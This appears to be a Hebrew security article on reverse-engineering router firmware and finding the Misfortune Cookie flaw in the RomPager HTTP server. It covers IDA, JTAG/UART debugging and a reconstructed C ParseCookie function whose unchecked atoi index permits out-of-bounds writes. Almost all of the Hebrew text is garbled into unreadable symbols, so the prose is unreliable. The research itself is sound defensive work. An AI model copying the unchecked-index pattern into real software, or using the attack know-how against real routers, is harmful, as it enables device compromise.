mipsb32 ˶˦ˮ˧˞˟ ˶˦ˣ˞˶ˢ ˪˷ ˸ˣ˧˴˵˧˲˧˯˲˯ˢ ˷ˣ˲˧˥ ˧"˰ ˢ˞˴ˬˮ ˢ˶ˣ˦˵˦˧˩˶˞ˢ) ˣˮ˥ˮ˞˷ ˢ˞˶ˮ .(˦ˮ

 ˫˧˪˟˵ˬopcode- ˪˟˞ ,˭ˣ˩ˮˢ ˭ˣˣ˧˩˟ ˣˮ˥ˮ˞˷ ˫˧˰˧˟˴ˬ˷ ˫˧˧ˮˣ˧ˠˢ ˫˧IDA  ˞˪ˬ ˥ˣ˸˧ˮ ˰˴˟˪ ˢ˥˧˪˴ˬ ˞˪ ˭˧˧ˡ˰

ˢ ˸˞ ˣˮˤˢ ˞˪ ˣˮ˥ˮ˞˷ ˞˧ˢ ˨˩˪ ˢ˟˧˯ˢ .˳˟ˣ˵ˢ ˪˷-base address  ˭˩˪ˣ ,ˢ˥˷ˣ˵ˢ ˪˷ ˭ˣ˩ˮˢIDA  ˞˪

˪ ˡˣ˵ ˭˧˟ˣ ˸ˣˮˣ˷ ˸ˣ˧˴˵ˮˣ˲ ˭˧˟ ˶˟˥˪ ˢ˥˧˪˴ˬ-dataˢ˷ ˸ˣ˶ˬ˪ .-ZynOS header  ˸˟ˣ˸˩ ˸˞ ˪˧˩ˢ˪ ˶ˣˬ˞

 ˞ˣˢ ˢˡ˷ˢ ˣˮ˪˷ ˢ˶˵ˬ˟ ,˸ˣˡ˷ˢ ˡ˥˞˟ ˧˶˞ˮ˧˟ ˳˟ˣ˵ ˪˩ ˶ˣ˟˰ ˯˧˯˟ˢ0 ˢ˸˷˰ˮ ˯˧˯˟ˢ ˸˟ˣ˸˩ ˸˞˧˴ˬ .

.˫˶ˣ˟˰ ˫˧˞˸ˬˢ ˭ˣ˶˩ˤˢ ˭˧˟ ,ˡˣ˵˟ ˫˧˧˦˪ˣ˯˟˞ ˫˧˰˧˟˴ˬ ˭˧˟ ˢˬ˞˸ˢ ˧ˡ˧ ˪˰ ˱ˣ˯˟˪ 

.ˡˣ˟˰˪ ˪˧˥˸ˢ˪ ˶˷˲˞ ˣ˧˷˩˰ ˥˸ˢ˪ ˧˸˦˪˥ˢ ˫˧˪ˣ˟ˬ˧˯ ˪˪˩ ˧˪ ˣ˧ˢ ˞˪˷ ˭ˣˣ˧˩ˬ ˧˩ˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˸˞ ˭˧˟ˢ˪ ˪˧

ˢ˶ˬˣ˥˟ ˸ˣ˶˷ˣ˵ˬ  ˯˧˯˟ ˸˶˧˴˧ ˞˧ˢ ˨˩˪ ˸˧˪˩˸ˢ .(ˡˣ˵˟ ˸ˣˮˣ˷ ˸ˣˡˣ˵ˮ ˢ˟˶ˢ ˧˩ˢˬ ˸ˣ˞˶˵ˮ˷ ˣ˪˞ ,˶ˬˣ˪˩)

 ˸ˣ˪˰˟ ˸ˣ˧˴˵ˮˣ˲ ˭˧˟ˢ˪ ˫˧˯ˮˬ ˶˷˞˩ ˣ˧˪˰ˬ ˡˣ˟˰˪ ˥ˣˮ˱˵˧ˢ .˶˸ˣ˧ ˟˥˶  ˧˸˧˪˧ˠ ˣˤˢ ˢ˵˧ˮ˩˦ˢ ˸ˣ˰˴ˬ˞˟

 ˸ˣ˧˴˵ˮˣ˲libc ) ˸ˣˤˣ˶˥ˬ˪ ˸ˣ˶ˣ˷˵ˢ ˸ˣ˟˶strcpy, strcat..) ˭ˣ˶˩ˤ˪ˣ (memmove, memcopy.( 

 ˢ˴˰2# - ˪ ˠˮ˧˯˶˟˶ ˸ˣ˷˰˪ ˣ˯ˮ˸ ˪˞libc- ˟ ˣ˷ˬ˸˷˸ .˫˩ˬ˴˰˟-binary diffing  ˪ˣˬlibc  ˪˲ˬˣ˵ˬ

ˢ ˢ˶ˣ˦˵˦˧˩˶˞˪.ˢˡˣ˟˰ˢ ˸˞ ˫˩˶ˣ˟˰ ˢ˷˰˧˷ ˸˧˦ˮˣˣ˪˶ ˷ ˭ˣˣ˧˩ˬ-RomPager  ˪˩ ˫˰ ˸˧˦˦˯ ˪˲ˬˣ˵ˬ

˷ ˡˣ˵ ˭˧˟ ˡ˧˶˲ˢ˪ ˢ˷˵ ,ˢ˪˰˲ˢˢ ˸˩˶˰ˬˣ˵ˢ ˶˞˷ ˭˧˟˪ ˸˶˷ˢ ˪.˶˦ˣ˞˶ˢ ˪˷ ˡ 
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 ˧˸˰ˠˢ ˭˸ˣ˰˴ˬ˞˟ .˸˶˷ˢ ˪˷ ˸ˣ˧˪˞ˮˣ˧˴˵ˮˣ˲˪ ˣ˶˷ˣ˵˷ ˸ˣ˧˟˧˦˵˧ˡˮ˧˞ ˸ˣˤˣ˶˥ˬ ˢ˸˧˧ˢ ˢˤ˧˥˞ˢ ˸ˡˣ˵ˮ

 ˪˷ ˨˶˰ˬ ˪ˣ˥˸˞˪ ˸˧˞˶˥˞˷ ˡ˥ˣ˧ˬ˟ ˸ˮ˧˧ˮ˰ˬ ˢ˧˧˴˵ˮˣ˲˪struct-ˢˤˢ ˠˣ˯ˢˬ ˫˧: 

Struct HttpHeader  

{  

 Void * funcPtr  

 char * headerName  

int size  

}  

-sstruct-˞˶˥˞ ˣ˪˞ˢ ˫˧ ˪˩˪ ˸˧˦ˮˣˣ˪˶ˢ ˶ˣ˯˶˲ˢ ˸˧˧˴˵ˮˣ˲˪ ˢ˞˧˶˵˪ ˫˧header  ˪˷HTTP ˭ˣˣ˧˩ˬ .

 ˭˧ˣ˴ˬ ˢ˲˧˵˸ ˥˦˷ˬ ˸ˣˣˢˬ ˣ˪˞ˢ ˶ˣ˯˶˲ˢ ˸ˣ˧˴˵ˮˣ˲ ,ˢ˷˵˟ˢ ˪˷ ˶˸ˣ˧˟ ˧ˮˣ˷˞˶ˢ ˟˪˷˟ ˢ˷˰ˮ ˶ˣ˯˶˲ˢ˷

.ˢ˵˧ˡ˟˪ 

˟ ˸ˣ˷ˬ˸˷ˬ ˸ˣ˧˴˵ˮˣ˲ˢ ˟˶-strncpy  ˸˞ ˭˯˩˞ˬ˷ ˭ˣ˶˩ˤˢ ˢˮ˟ˬ ˨ˣ˸˪ ˰ˡ˧ˬˢ ˪˷ ˢ˵˸˰ˢ ˰˴˟˪ ˧ˡ˩˟

 ˸ˣ˰˴ˬ˞˟ .ˢ˷˵˟ˢ ˢ˟˧˯ˬ ˫˪ˣ˞ .ˣ˪ ˢ˴˵ˣˢ˷ ˶˲˞˟ˢˬ ˠˣ˶˥˧ ˞˪ ˦˪˵ˢ˷ ˞ˡˣˣ˪ ˭˸˧ˮ ,ˣˤ ˢ˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷

˰ˣˡ˧ ˞˪ˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˩ ,˷ ˸ˣ˶˯˶˲ˬsub-headers  ˪˷digest authorization  ˪ˣˬ ˸ˣ˸ˬ˞˸ˢ ˨˶ˡ)

 ˪˰ˬ ˫˧˸˶˷HTTP˟ ˞˵ˣˣˡ ˸ˣ˷ˬ˸˷ˬ (-strcpy  ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ,˶ˬˣ˪˩ .˦˪˵ˢ ˨˶ˣ˞ ˸˞ ˸ˣ˵ˡˣ˟ ˭ˮ˧˞ˣ

˨ˣ˸˪ ˯˧ˮ˩ˢ˪  ˷˧ ,ˢ˷˰ˬ˪) ˣˮ˪ ˢ˴˵ˣˢ˷ ˶˲˞˟ˢ ˸ˣ˪ˣ˟ˠˬ ˠˣ˶˥˪ˣ ,ˣˮ˷˲ˮ ˸ˣˣ˞˩ ˫˧˩ˣ˶˞ˢ ˫˧˩˶˰ ˣ˪˞ ˸ˣˡ˷

˟ ˢ˶ˣ˷ ˪˩ ˪˷ ˨˶ˣ˞ˢ ˸˞ ˢ˪˰ˬ˪ˬ ˸ˬ˯ˣ˥˷ ,˸˶˥˞ ˢ˪˟ˠˬ-HTTP headers˟ˣ˸˩˪ ˣˮ˪ ˶˷˲˞ˬ˷ ˢˬ , ˡ˰ 

600 .(˨˶˰˟ ˫˧˸˟ 

˫˧˰ˡˣ˧ ˷ˬˬ ˞˪ ˭˧˧ˡ˰ ˣˮ˥ˮ˞˷ ˭ˣˣ˧˩ˬ  ˸ˣˮ˯˥ˣ˞ˬ˷ ˧˲˩ ˸ˣ˷˵˟ˢ ˪˷ ˫˧ˮ˟ˬˢ ˫˧˞˶ˮ ˨˧˞ ˢ˯ˮˮ ,˭ˣ˶˩ˤ˟

 ˸ˣˡ˷ ˫˰ ˸ˣ˷˵˟ "˶ˣˣ˧˰ ˪˰" ˥ˣ˪˷˪digest  ˸ˣˠˢˮ˸ˢ˪ ˫ˣ˶ˠ˪ ˫˧˥˧˪˴ˬ ˣˮ˥ˮ˞ ˫˞ ˢ˞˶ˮˣ ˡ˥ˣ˧ˬ˟ ˫˧˩ˣ˶˞

ˢ ˢˡ˷ ˶ˣ˟˰ ˸˪˥ˣ˧ˬˢ ˢ˯˶˵ˢˢ ˰˧ˠˢ ,˱ˣ˯˟˪ .˸˧˪˞ˬ˶ˣˮ ˞˪-username ˬ ˪ˣˡˠ ˦˪˵ˢ ˨˶ˣ˞ ˶˷˞˩-581 

.˫˧˸˟ ˴ˬ ˞˪ ˨˞ ,ˡˣ˵ˢ ˨ˣ˸˟ ˢ˷˵˟ˢ ˢˮ˟ˬ˟ ˧˦ˮˣˣ˪˶ˢ ˦˯˧ˢˢ ˸˞ ˷˲˥˪ ˧˸˧˯˧ˮ.ˢˬ˞˸ˢ ˱˞ ˧˸˞ 

 ˢ˴˰3# - ˧ˬ˞ˮ˧ˡ ˠˣ˟˧ˡ ˸˟˧˟˯ ˸ˬ˶ˢ˟ ˣ˰˧˵˷ˢ: 

 ˪˷ ˧ˬ˞ˮ˧ˡ ˥ˣ˸˧ˮ ˸˪ˣ˩˧ ˠ˧˷ˢ˪ ˟˧˧˥ ˧ˮ˞ˣ ,˶˵˥ˬˢ ˧˩˶˴˪ ˵˧˲˯ˬ ˞˪ ˧˦˦˯ˢ ˥ˣ˸˧ˮˢ˷ ˧˸ˮ˟ˢ ˢˤ ˟˪˷˟

 ˨ˣ˸˪ ˢ˥˷ˣ˵ˢ ˸˞ ˭ˣ˰˦˪ ˸ˣ˯ˮ˪ ˞˧ˢ ˸˥˞ ˸ˣ˶˷˲˞ .˶˧˷˩ˬˢqemu  ˫˞ .˶˧˷˩ˬˢ ˪˷ ˢ˧˴˪ˣˬ˞ ˰˴˟˪ˣ

˟ ˶˟ˣˡˬ ˫˞ ˡ˥ˣ˧ˬ˟ ,˧˶˷˲˞ ˶˟ˡˢ ˯˯ˣ˟ˬ ˶˧˷˩ˬlinux ,˧˪˷ ˢ˶˵ˬ˟ .˧˸˰ˡ ˧˲˪ ,˸˴˪ˬˣˬˢ ˢ˧˴˲ˣ˞ˢ ˣˤ ,

˪˪ˠ˟  ˶˟˥˸ˢ˪ ˸ˣ˯ˮ˪ ˧˸˦˪˥ˢ ,˧˪ ˶˴˟ .ˢ˧˴˪ˣˬ˞ˢ ˸˞ ˰˴˟˪ ˧˸˥˪˴ˢ ˞˪ ,ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˸ˣ˧ˡˣ˥˧˧ˢ

 ˵˷ˬˬ ˧ˡ˧ ˪˰ ˧ˤ˧˲ ˭˲ˣ˞˟ ˶˧˷˩ˬ˪JTAG ˦˶ˣ˲˟ ˶˟ˣˡˬ ,˫˧˧ˮˣ˶˦˵˪˞ ˫˧˪ˠ˰ˬ ˸˯ˡˮˢ ˧ˤ˶˟ ˞˧˵˟ ˞˪˷ ˧ˬ˪ .

˧˷˩ˬˢ ˧˟ˠ ˪˰ ˧ˤ˧˲ ˰˴˟˪ ˧ˡ˩ ˡ˰ˣˮ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˶ˣ˵ˬ˟) ˶˧˷˩ˬˢ ˪˷ ˧ˮˣ˴˧˥ ˠˣ˟˧ˡ ˰˴˟˪ ˣˮ˪ ˶˷˲˞ˬ˷ ˶

 .(ˢ˪˧˰˧ ˢ˶ˣ˴˟ ˫˧˪ˠ˰ˬ˪ ˸ˣ˩˧˞ ˸ˣ˵˧ˡ˟ 

 ˶ˣ˟˧˥ ˶˥˞ ˫˧˷ˣ˲˧˥ˢ˷ ˧˲ ˪˰ ˱˞JTAG  ˪˰ˬ ˶˷˵˸ˬˢ ˧˪˞˧˶˧˯ ˶ˣ˟˧˥ ˶˧˷˩ˬˢ ˧˟ˠ ˪˰ ˞˴ˬˮ ,ˣˢˣ˸˟ ˣ˪˰

 ˪ˣ˵ˣ˦ˣ˶˲U-ARTˬ ˦ˣ˷˲ ˶˸ˣ˧ ˢ˟˶ˢ ˪ˣ˵ˣ˦ˣ˶˲ ˞ˣˢ˷ ,-JTAG˶˷˲˞ˬˢ ,  ˪ˣˬ ˸˧˶ˮˠ ˸˧˪˞˧˶˧˯ ˸˶ˣ˷˵˸
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 ˦˶ˣ˲ˢ ˸˞ ˶˟˥˪ ˧ˡ˩˟ .ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˧˲˧˴˲˯ˢ ˷ˣˬ˧ˬ˟ ˧ˣ˪˸ ˸˶ˣ˷˵˸ˢ ˪˷ ˭˩ˣ˸ˢ .˪ˠ˰ˬˢ

 ˵˷ˬˬ˪ ˪ˠ˰ˬˢˬ ˸ˣ˞ˢ ˪˷ ˫ˣˠ˶˸ ˰˴˟˧˷ ˱˯ˣˮ ˶˧˷˩ˬ˟ ˷ˬ˸˷ˢ˪ ˨˶ˣ˴ ˷˧ ,˟˷˥ˬ˪ ˧˪˞˧˶˧˯ˢUSB  ˞˪)

˟ ˧˸˷ˬ˸˷ˢ ˧ˮ˞ .(˸ˣ˵˷ˬˬ˸ˢˢ ˸˞ ˦˷˲ˬ ˢ˞˶ˮ˩ ˪˟˞ ,ˢ˟ˣ˥-BusPirate ˨˶ˣ˴˪ .˭˧˧ˮ˰ˢ 

 ˪˷ ˧˪˞˧˶˯ˢ ˵˷ˬˬˢRomPager :˸ˣ˧ˤ˩˶ˬ ˸ˣ˧˴˵ˮˣ˲ ˷ˣ˪˷ ˣˮ˪ ˶˷˲˞ˬ 

¶  ˸˯˲ˡˢdebug strings ˪˪ˣ˩ ,dump ˸ˣ˯˧˶˵ ˸˰˟ 

¶ ˢ ˧ˡ˧ ˪˰ ˨ˬ˸ˮ˷ ˸ˣˡˣ˵˲ ˵˷ˬˬ-bootloader  ˞ˣ˶˵˪ ˶˷˲˞ˬ ˵˷ˬˬˢ .˧˷˞˶ˢ ˧˶˞ˮ˧˟ˢ ˸˧˧˪˰ ˧ˮ˲˪

˭ˣ˶˩ˤ˪ ˟ˣ˸˩˪ˣ 

¶  ˵˷ˬˬtelnet 

 

ˢ ˪˷ ˸ˣˡˣ˵˲ˢ ˵˷ˬˬ ˪˷ ˪ˣ˴˧ˮˢ-bootloader  ˦˯ˣ˲ˢ ˸˶ˤ˰˟ ˢ˸˷˰ˮ ˧˷˞˶ˢ ˧˶˞ˮ˧˟ˢ ˪˷ ˢ˩˧˶˰ ˨˶ˣ˴˪

ˢˤˢ. 

 ˦˶ˣ˲ˢˬ ˦˪˲˟ ˪˟˵˸ˬ ˢˬ ˸ˣ˞˶˪ˣ ˣˮ˞˴ˬ˷ ˢ˷˪ˣ˥ˢ ˸ˣ˰˴ˬ˞˟ ˶˧˷˩ˬˢ ˸˞ ˯˧˶˵ˢ˪ ˪˩ˣˮ ˣ˧˷˩˰

.˧˪˞˶˧˯ˢ 

 

˰˟ˣˮ ˢ˯˶˵ˢˢ˷ ˶˟˸˯ˬ ,˪˧˰˪ ˢˮˣˬ˸˟ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩ˢ ˪˰ ˦˪˸˷ˢ˪ ˣˮ˪ ˢ˶˷˲˞ ˢ˯˧˶ˡˢ˷ ˨˩ˬ ˸-

instruction pointer ˟) ˸˩˶˰ˬˢ ˪˷-mips- ˸˧- EPCˢ ˪˷ ˥ˣ˸˧ˮ .(-stack dump  ˭ˣ˶˩ˤ ˸ˣ˩˧˶˰ ˦˰ˬˣ

˟ ˷ˣˬ˧˷ ,ˢ˷˰ˬ˪) ˫˧˟˧˦ˬ˶ˣ˲ˮ˧˞ ˫˧ˠˣ˪ ˸˯˲ˡˢ ˨˶ˣ˴˪-API  ˪˷ ˫˧˩˶˰ ˯˧˲ˡˢ˪ ˧ˡ˩ ˧˪˞˧˶˧˯ˢ ˦˶ˣ˲ˢ ˪˷

˶ˣ˵ˬ ˸˞ ˸ˣˢˤ˪ ˢ˶˷˲˞ (˭ˣ˶˩ˤ ˧˶ˣˤ˞ˣ ˫˧˶˦˯˧ˠ˶ ˪ ˢ˞˧˶˵ˬ ˰˟ˮ˷ ,ˢ˷˪ˣ˥ˢ-callback  ˶˥˞˪ ˸˧˷˰ˮ˷

˪ ˸˞˶ˣ˵˷ ˢ˧˴˵ˮˣ˲ˢ ,ˢˬ ˫ˣ˷ˬ .ˢ˷˵˟ˢ ˶ˣ˯˶˲ ˫ˣ˧˯-callback  ˭˲ˣ˞˟ ˸˶˥˞ ˢ˧˴˵ˮˣ˲ ˱˞˪ ˸˶˷ˣ˵ˬ ˞˪

 ˭˩˪ˣ ,˶˧˷˧IDA ˢ ˸˞ ˧˸˞˴ˬ ˞˪ ˰ˣˡˬ ˶˧˟˯ˬ˷ ˢˬ ,ˢ˸ˣ˞ ˸ˣˢˤ˪ ˥˧˪˴ˢ ˞˪-offset .ˡˣ˵˟ 

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
http://piotrbania.com/all/articles/tplink_patch/
http://piotrbania.com/all/articles/tplink_patch/
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 ˢ˴˰4# - ˟ ˢ˟˶ˢ ˣ˰˧˵˷˸-code exploration ˪ ˞˪ˬ˶˲˦˵˧˧ˣ  ˶ˬˣ˪˩ ,˫˩˪˷ˣˢˤ  ˪˩ ˸˞ ˡˣ˵ˢ ˧˶ˣˤ˞

ˣ˟ ˸ˣ˧˴˵ˮˣ˲ˢˢ ˳˟ˣ˵˪ ˡˣˠ˧ˮ˟ .˧˶˞ˮ˧˟-elf  ˣ˞exe,  ˫˧˶˩ˣˬ ˞˪ ˫˧˶˞ˮ˧˟ ˫˧˦ˬ˶ˣ˲˟IDA  ˥ˣ˸˧ˮ˟ ˢ˷˵˸ˬ

.(˸ˣ˰˦˟ ˡˣ˵ ˧˶ˣˤ˞˩ ˰ˡ˧ˬ ˧˶ˣˤ˞ ˢˢˤ˸ ˣ˞) ˡˣ˵ˢ ˧˶ˣˤ˞ ˪˩ ˸˞ ˢˢˤ˸ ˞˪ ˫˧˸˧˰˪ˣ ,˧˶˞ˮ˧˟ˢ ˪˷ ˧˦˞ˬˣ˦ˣ˞ 

˶ˢ ˨˶˰ˢ ,˵ˣˡ˟˪ ˧˪ ˞˴˧˷ ˫˧˶˵ˬˢ ˪˩˟ˢ ˪˷ ˪˧ˠ-callback  ˞ˣˢ0 ˞ˣˢ ˭˩˪ˣ , ˪˪˩ ˞˪˳˶ˣˬ ˢˬ ˰ˡˣ˧ ˧ˮˮ˧˞ .

.ˣ˪˷ ˸ˣ˰ˬ˷ˬˢ 

˟ ˢ˦˧˪˷ .ˢ˷˪ˣ˥ ˪˴ˮˬ ˪˩ ˪˷ ˟ˣ˦˶ˢ ˣˬˣ˪˥ ˸˞ ˣˮˬ˷ˠˢ˷ ˢ˞˶ˮ ,˭ˣ˷˞˶ ˦˟ˬ˟-instruction pointer 

ˮ˪ ˶˸ˣˮ˷ ˪˩ .˸˩˶˰ˬˢ ˪˰ ˡˣ˵ ˸˴˶ˢˬ ˰˯˲˩ ˢˮ˧ˢ˸˦˧˪˷˟˷ ˭ˣ˶˩ˤ˟ ˫ˣ˵ˬ ˸ˣ˪ˠ˪ ˞ˣˢ ˣ ˸˞ ˫˷ ˫˧˷˪ ,ˣˮ

-sshellcode  ˢ˧˰˟˟ ˫˧˪˵˸ˮ ˣˮ˞ ˭˞˩˷ ˞˪˞ .˫˷˪ "˳ˣ˲˵˪" ˸ˮˬ ˪˰ ˢ˷˪ˣ˥˟ ˷ˬ˸˷ˢ˪ˣ ,ˣˮ˪˷

 ˸˞ ˫˧˴˧˶ˬˢ ˫˧˶˦ˣ˞˶ ˪˷ ˸ˣ˥˷ˣ˵ ˪˷ ˟˥˶ ˭ˣˣˠˬ ˪˰ ˸ˣ˪˩˸˯ˢ˟ .˸˧˸ˣ˰ˬ˷ˬRomPager  ˞˯˶ˠ˟4.07 

˟˶ ˭ˣ˧ˬˡ ˫˧˞ˣ˶ ˣˮ˥ˮ˞.  ˢˮˣ˷ ˭ˣ˶˩ˤˢ ˢˮ˟ˬ ,ˡ˶˲ˮ˟ ˢ˪˲ˬˣ˵ ˪ˡˣˬ ˪˩˪ ˢ˥˷ˣ˵ ˪˩˷ ˭ˣˣ˧˩ˬ ,ˣˮ˶˰˴˪ ˨˞

˪ˡˣˬ˪ ˪ˡˣˬˬ (˪ˡˣˬˢ ˣ˸ˣ˞ ˪˷ ˸ˣˮˣ˷ ˸ˣ˞˯˶ˠ ˭˧˟ ˱˞ˣ)˨˩ , ˷ ˸˲˸ˣ˷ˬˢ ˸˧˶ˮˠ ˢˤ˧˥˞ ˸ˡˣ˵ˮ ˫ˣ˷ ˣˮ˪ ˭˧˞

 ˫˧˧˲˧˴˲˯ ˢ˥˷ˣ˵ ˸˯˶ˠˣ ˫ˠˡ ˶ˣ˟˰˷ ˭˟ˣˬ˩ .˸ˣ˥˷ˣ˵ˢ ˪˪˩˪-  ˸˞ ˶ˣ˸˲˪ ˸˲˯ˣˮ ˨˶ˡ .ˢ˶ˣ˸˲ ˢ˧˰˟ˢ

 ˢ˧ˢ˧ ˭˸˧ˮ ˢ˸ˣ˰˴ˬ˞˟ˣ ,˶˦ˣ˞˶ˢ ˪˷ ˭ˣ˶˩ˤˢ ˢˮ˟ˬ ˸˞ ˣˮ˪ ˶˧ˠ˯˸ ˶˷˞ ˸˲˯ˣˮ ˢ˷˪ˣ˥ ˞ˣ˴ˬ˪ ˞˧ˢ ˢ˧˰˟ˢ

˩˪ .ˢ˷˪ˣ˥˪ ˸˧˶ˮˠ ˢ˷ˬ˷ˢ ˟ˣ˸ ˷˲˥˪ ˨˧˷ˬˢ˪ˣ ,ˢ˷ˬ˷ˢˢ ˸ˣˮˣ˧˯ˮ ˸˞ ˵˧˯˲ˢ˪ ˧˸˦˪˥ˢ ˢˤ ˟˪˷˟

.˫˧˶˥˞ ˫˧ˮˣˣ˧˩˟ 

 

ˢ ˪˰ ˦˪˸˷ˢ˪ ˭˸˧ˮ ˢ˸ˣ˰˴ˬ˞˟˷ ˢ˲˯ˣˮ ˢ˷˪ˣ˥ ˢ˞˴ˬˮ ˶˵˥ˬˢ ˨˪ˢˬ˟˷ ˶˧˩ˤ˞ ˢ˶˴˵˟-EPC ˸˰˟ˣˮˢ ,

˟ ˦˪˵ˢ ˪ˣ˴˧ˮˬ ˶ˣ˯˶˲˪ ˸ˣ˧˞˶˥˞ˢ ˸ˣ˲˯ˣˮ ˸ˣ˧˵ˮˣ˲sub-headers ˟ ˫˧˲˯ˣˮ-digest authorization ˪ˣ˩ ˧˩) ˭

˷ˬ˸˷ˬ˸ˣ ˟-strcpy˸ˣ˷˵˟ ˶˲˯ˬ ˪˷ ˢ˥˧˪˷ ˸ˣ˰˴ˬ˞˟ ,(HTTP   ˧ˮ˲ˬ ˫ˠ ,˫˪ˣ˞ .˱˴˶˟ ˸ˣˬ˧˧ˣ˯ˬ

(˸˧˯˥˧) ˢˬˣˡ ˟˴ˬ˪ ˫˧˰˧ˠˬ ˣˮ˥ˮ˞˷ ˢ˷ˬ˷ˢ ˸ˮ˧˥˟ˬ ˦˶ˣ˲˟ ˵˶ ˸ˡ˟ˣ˰ ˣˤˢ ˢ˷˪ˣ˥ˢ˷ ˧ˮ˲ˬ ˫ˠˣ ,80 ˞˪ ,

.ˢˤ ˶ˬ˞ˬ˟ ˢ˧˪˰ ˟˧˥˶˞ 

 

:˪ˤˬˢ ˷˧˟ ˸˧ˠˣ˰ 

˞ˣˢ ˢˤ ˶˵˥ˬ˟ ˶˸ˣ˧˟ ˭˧˧ˮ˰ˬˢ ˞˴ˬˬˢ  ˸˷˪ˣ˥Misfortune Cookie ˸˧˞˶˥˞ˢ ˢ˧˧˴˵ˮˣ˲˪ ˢ˶ˣ˷˵˷ ,

ˢ ˸˷˵˟˟ ˸ˣ˧ˠˣ˰ˢ ˶ˣ˯˶˲˪-HTTPˢ˵˧ˡ˟ ˞˪˪ ˭ˣ˶˩ˤ ˸˵˸˰ˢˬ ˢ˞˴ˣ˸˩ ˸ˬ˶ˠˮ ˞˪ ˢ˷˪ˣ˥ˢ˷ ˭ˣˣ˧˩ˬ . 

˨˶ˣ˞ ˸ˣ˧˰˟ ˢˬ˩ ˣ˟ˣ˥˟ ˭ˬˣ˦ ˞ˣˢ ,˱˩˸ ˢ˞˶ˮ˷ ˧˲˩ ˨˞ ,ˢ˪˷ ˷ˣˬ˧ˬ˟ ˸ˣ˵ˬ˰˸ˢ ˪˰ ˢ˪˧˥˸˟ ˧˸ˠ˪˧ˡ ,

 .˸ˣ˧˦˧˶˵ 

 

˷ ˭ˣˣ˧˩ˬRomPager ˶˰ˬ ˢˮ˧ˢ ˸ˣ˩˶˰ˬ˪ ˸ˬ˞˸ˣˬˢ ˸˩embedded ˭˩˪ˣ ,˸ˣ˧ˬ˞ˮ˧ˡ ˭ˣ˶˩ˤ ˸ˣ˞˴˵ˢ ˢ˟ ˭˧˞ ,

 ˪ˡˣˠ˟) ˸ˣ˧ˠˣ˰ ˪˷ ˨˶˰ˬ˟ ˧˦˦˯ ˭˲ˣ˞˟ ˸ˣ˶ˬ˷ˮ ˸ˣ˧ˠˣ˰ˢ10( ˢ˷˵˟ˢ ˸˞ ˭˯˩˞ˬˢ ˢˮ˟ˬˢ ˨ˣ˸˟.  ,˱˯ˣˮ˟

http://www.digitalwhisper.co.il/
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 :˰ˣ˟˵ ˦ˬ˶ˣ˲˟ ˫ˢ ˸ˣ˧ˠˣ˰ˢ ˸ˣˬ˷/лΣ/мΧ/ф ˫˷˟ ˢ˧˧ˠˣ˰ˢ ˶˷˞˩ ,C0 ,˭ˣ˷˞˶ˢ ˫ˣ˵ˬ˟ ˶ˬ˷˸ ,C1 - 

 ˡ˰ ˢ˞˪ˢ ˭˩ˣ ,˧ˮ˷˟C9 ˞ˣˢ ˢ˧ˠˣ˰ ˪˩˪ ˢ˴˵ˣˬˢ ˪ˡˣˠˢ .40 .˫˧˸˟ 

 

 ˸˴˵ ˰ˡˣ˧˷ ˧ˬmips  ˤ˩˶˸ˢ˪) ˣˬ˴˰ ˸ˣ˥ˣ˩˟ ˢ˧˰˟ˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˣ˯ˮ˪ˣ ˞˟ˢ ˡˣ˵ˢ ˰˦˵ ˸˞ ˭ˣ˥˟˪ ˭ˬˤˣˬ

-˟branch :(ˡˣ˵ˢ ˪˷ ˧˪˞ˬ˷ˢ 

s0 - ˢ ˢˡ˷˪ ˰˧˟˴ˬ-Cookie ˟-HTTP header  ˞ˬˠˣˡ˪)"C3=abcd\ r\n"( 

v0 - ˢ ˸˞ ˪˧˩ˬ ˸˧˟ˢˢ˧ˠˣ˰ˢ ˫˷ ˪˷ ˭ˣ˷˞˶ 

s4 - this  ˢˮ˟ˬ˪ ˰˧˟˴ˬ) ,ˢ˷˵˟ˢ ˦˯˧ˢ˟ ˸ˣ˧ˠˣ˰ˢ ˨˶˰ˬ ˸˞ ˪˧˩ˬ ˶˷˞0x6b28( 

FindTokenDelimiter ˸ˤˣ˶˥ˬ˟ "=" ˪˷ ˭ˣ˷˞˶ˢ ˫ˣ˵˧ˬ˪ ˰˧˟˴ˬ ˶˧ˤ˥ˬˣ ˸ˤˣ˶˥ˬ˪ ˰˧˟˴ˬ ˪˟˵ˬ 

FindCookieEnd - ˴ˬ ˶˧ˤ˥ˬˣ ˸ˤˣ˶˥ˬ˪ ˰˧˟˴ˬ ˪˟˵ˬˢ˶ˣ˷ ˸ˡ˧˶˧ ˪˷ ˭ˣ˷˞˶ˢ ˫ˣ˵˧ˬ˪ ˰˧˟ 

 

 

˟ ˫˧˞˴ˬ˸ˬ ˞˪˷ ˣ˪˞˪-mips ˧˸˶ˬˢ , ˡˣ˵˪ ˢ˧˴˵ˮˣ˲ˢ ˸˞C (˦˷˲ˣˬ ˦˰ˬˣ) ˶˴˵: 

void ParseCookie(Request  * request, char * name, char * value)  

{  

    if (name[0] == 'C')  

    {   

        int index = atoi(name+1);  
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        strncpy(request - >CookieArray[index],value,40);  

    }  

}  

˟˪˷ ˫ˣ˷˟˷ ˨˩˟ ˢˮˣˬ˦ ˢ˧˰˟ˢ  ,ˢ˷˰ˬ˪˷ ˨˩ .˸ˣ˧ˠˣ˰ˢ ˨˶˰ˬ ˪ˣ˟ˠˬ ˸ˠ˶ˣ˥ ˢ˧ˠˣ˰ˢ ˫˞ˢ ˵ˡ˟ˮ ˞˪

 ˢ˧ˠˣ˰ˢ ˸˯ˮ˩ˢC1234 ˢ ˸˷˵˟˟-HTTP ˪ ˶˷˲˞˸ˣ˵˧ˬ˟ ˶˦ˣ˞˶ˢ ˪˷ ˭ˣ˶˩ˤ˪ ˟ˣ˸˩˪ ˣˮ˫: 

this - >CookieArray + (1234* 40)  

